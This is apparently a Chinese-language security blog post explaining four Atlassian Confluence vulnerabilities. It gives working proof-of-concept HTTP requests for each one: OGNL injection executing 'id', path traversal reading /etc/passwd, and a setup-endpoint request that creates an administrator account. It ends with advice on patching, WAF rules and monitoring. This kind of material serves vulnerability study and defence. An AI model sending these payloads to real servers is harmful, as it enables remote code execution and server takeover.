confluence
Atlassian Confluence 是企业级 Wiki 系统的霸主,但也因此成为了黑客的重点攻击目标。Confluence 历史上出现过多个极高危的 RCE(远程代码执行) 漏洞,大多数都与 Java 的 OGNL 表达式注入 或 模板注入 有关。
以下是 Confluence 历史上最著名的几个漏洞的原理分析及复现思路。
CVE-2022-26134: OGNL 注入 (无需登录 RCE)
这是 2022 年影响最大的漏洞之一,攻击者可以在未登录的情况下通过构造恶意的 URL 直接控制服务器。
-
影响版本:Confluence Server/Data Center 几乎所有版本 (至 7.18.0 修复)
-
漏洞原理: Struts2 框架(Confluence 底层使用)在处理 HTTP 请求 URL 时,会先对 URL 进行解码。Confluence 的某个过滤器在处理 URL 时,错误地将 URL 中的内容作为 OGNL (Object-Graph Navigation Language) 表达式进行了求值。 简单来说,URL 本身被当成了代码执行。
-
复现思路 (PoC): 攻击者只需在 URL 路径中插入经过 URL 编码的 OGNL 表达式。
Payload 结构:
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7D/ HTTP/1.1 Host: target-confluence%24%7B...%7D解码后是${...},即 OGNL 表达式的包裹符号。内容通常调用
java.lang.Runtime来执行系统命令(如id或whoami)。执行结果通常会直接回显在 HTTP 响应头(如
X-Cmd-Response)或页面内容中。
CVE-2021-26084: OGNL 注入 (无需登录 RCE)
这个漏洞存在于 Confluence 的 Webwork 框架处理 Velocity 模板的过程中。
-
影响版本:Confluence < 7.13.0 等
-
漏洞原理: 在某些功能点(如“创建空间”或“页面变量”),Confluence 使用 Velocity 模板引擎渲染视图。如果用户输入的数据被直接拼接进了 Velocity 模板,并且触发了二次解析,就会导致 OGNL 注入。 具体来说,是在处理
queryString参数时,代码使用了findValue方法,该方法会强制解析 OGNL 表达式。 -
复现思路 (PoC): 通常攻击点在
/pages/doenterpagevariables.action接口。Payload 结构:
POST /pages/doenterpagevariables.action HTTP/1.1 Host: target-confluence Content-Type: application/x-www-form-urlencoded queryString=\u0027%2b%23%7b%22system%22%3a%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%7d%2b\u0027
- 攻击者利用 Unicode 编码(
\u0027)闭合原有的字符串上下文,插入恶意的 OGNL 表达式#{ @java.lang.Runtime@getRuntime().exec("id") }。
CVE-2019-3396: Widget Connector 模版注入 (SSTI & 路径遍历)
这是文件读取和 RCE 的组合拳,利用了 Widget Connector 宏。
-
影响版本:Confluence < 6.14.2
-
漏洞原理: Widget Connector 宏(用于嵌入视频、地图等)允许用户指定一个渲染器。参数
_template没有过滤路径,导致攻击者可以利用目录遍历(../)加载服务器上的任意文件作为模板。 如果加载的文件包含特定代码(如 Velocity 语法),或者通过ftp://协议加载远程恶意文件,即可实现 RCE。 -
复现思路 (PoC): 使用
POST /rest/tinymce/1/macro/preview接口进行预览触发。读取文件 Payload:
{ "contentId": "123", "macro": { "name": "widget", "params": { "url": "https://www.viddler.com/v/23464", "width": "1000", "height": "1000", "_template": "../../../../../../../../etc/passwd" }, "body": "" } }_template指向/etc/passwd,Confluence 试图将其作为模板解析,报错或回显中可能包含文件内容
CVE-2023-22515: 权限提升 (Broken Access Control)
这是一个逻辑漏洞,允许攻击者把自己变成管理员。
-
影响版本:Confluence 8.0.0 - 8.5.1
-
漏洞原理: Confluence 的某些 Setup(安装向导)相关接口没有正确屏蔽已安装完毕的系统。攻击者可以通过修改请求参数,欺骗系统认为“还没安装完管理员账号”,从而允许重新运行管理员创建流程。
-
复现思路 (PoC):
- 访问
/server-info获取状态。 - 发送请求到
/setup/setupadministrator并带上setupComplete=false参数。
Payload 结构:
POST /setup/setupadministrator?setupComplete=false HTTP/1.1 Host: target-confluence X-Atlassian-Token: no-check Content-Type: application/x-www-form-urlencoded username=hacker&fullName=hacker&email=hacker@example.com&password=password123&confirm=password123&setup-next-button=Next- 一旦成功,你就可以用这组账号密码登录后台,获得超级管理员权限。
- 访问
防御:
即时补丁:Atlassian 的漏洞利用速度极快(通常 24 小时内就有 PoC),必须订阅官方公告并第一时间升级。
不要暴露在公网:这是最重要的。将 Confluence 放在 VPN 后面。
WAF 防护:配置 WAF 拦截包含 ${, %24, OGNL 等特征的请求。
监测日志:重点监控 post_action 产生的异常日志,以及对 /setup/* 路径的访问请求。

浙公网安备 33010602011771号